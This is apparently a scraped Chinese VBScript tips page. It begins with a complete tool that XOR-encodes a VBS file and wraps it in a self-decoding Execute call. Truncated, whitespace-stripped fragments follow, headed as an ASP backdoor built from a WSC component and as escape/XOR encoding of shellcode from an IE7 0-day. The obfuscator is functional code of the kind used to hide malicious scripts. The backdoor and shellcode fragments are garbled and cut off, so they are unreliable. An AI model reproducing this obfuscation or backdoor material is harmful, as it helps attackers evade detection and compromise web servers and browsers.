If Not WScript.Arguments.Count=1 Then WScript.Echo "请将要转换的vbs文件托拽到我身上！":WScript.Quit 
Set fso=CreateObject("Scripting.FileSystemObject") 
Set self=fso.OpenTextFile(WScript.ScriptFullName) 
Set vbs=fso.CreateTextFile(Left(WScript.Arguments(0),Len(WScript.Arguments(0))-4)+"_XorEncode.vbs") 
Do Until self.AtEndOfStream 
aline=self.ReadLine 
If aline="Function Decode(s,n)" Then w=true 
If w Then vbs.WriteLine aline 
Loop 
Set src=fso.OpenTextFile(WScript.Arguments(0)) 
Randomize:n=Int(255*Rnd+1) 
vbs.WriteLine "Execute("&"Decode("""&Encode(src.Read(fso.GetFile(WScript.Arguments(0)).Size),n)&""","&n&"))" 
src.Close:vbs.Close:self.Close 
Set src=Nothing:Set vbs=Nothing:Set self=Nothing:Set fso=Nothing 
WScript.Echo "Successful!" 
Function Encode(s,n) 
For i=1 To Len(s) 
Encode=Encode&" "&(Asc(Mid(s,i,1)) Xor n) 
Next 
End Function 
Function Decode(s,n) 
ns=Split(Mid(s,2,Len(s)-1)) 
For i=0 To UBound(ns) 
Decode=Decode&Chr(CInt(ns(i)) Xor n) 
Next 
End Function 

利用wsc制作的一个asp后门
?xmlversion="1.0"encoding="gb2312"standalone="yes"??componenterror="true"debug="true"?packagecomponentid="haiyangtop"publicmethodname="lcx"parametername="b"//method/publicscriptlanguage="VBScript"![CD

ie7 0day当中的shellcode的escape+xor21加密
SCRIPTLANGUAGE="VBSCRIPT"FunctionEncode(s,n)Dimbb=UCase(s)Fori=1ToLen(b)Encode=Encode&Chrw((Asc(Mid(b,i,1))Xorn))NextEndFunction/scriptscriptlanguage="javascript"myrand=window.prompt("url:","http://ww

VBScript 作用 简单说明
有事没事用VBS采集别人网站上的部分或全部数据进行分析，然后写入数据库或存到文本文件里，有时还会用VBScript做一些移动光标及输入的操作，比如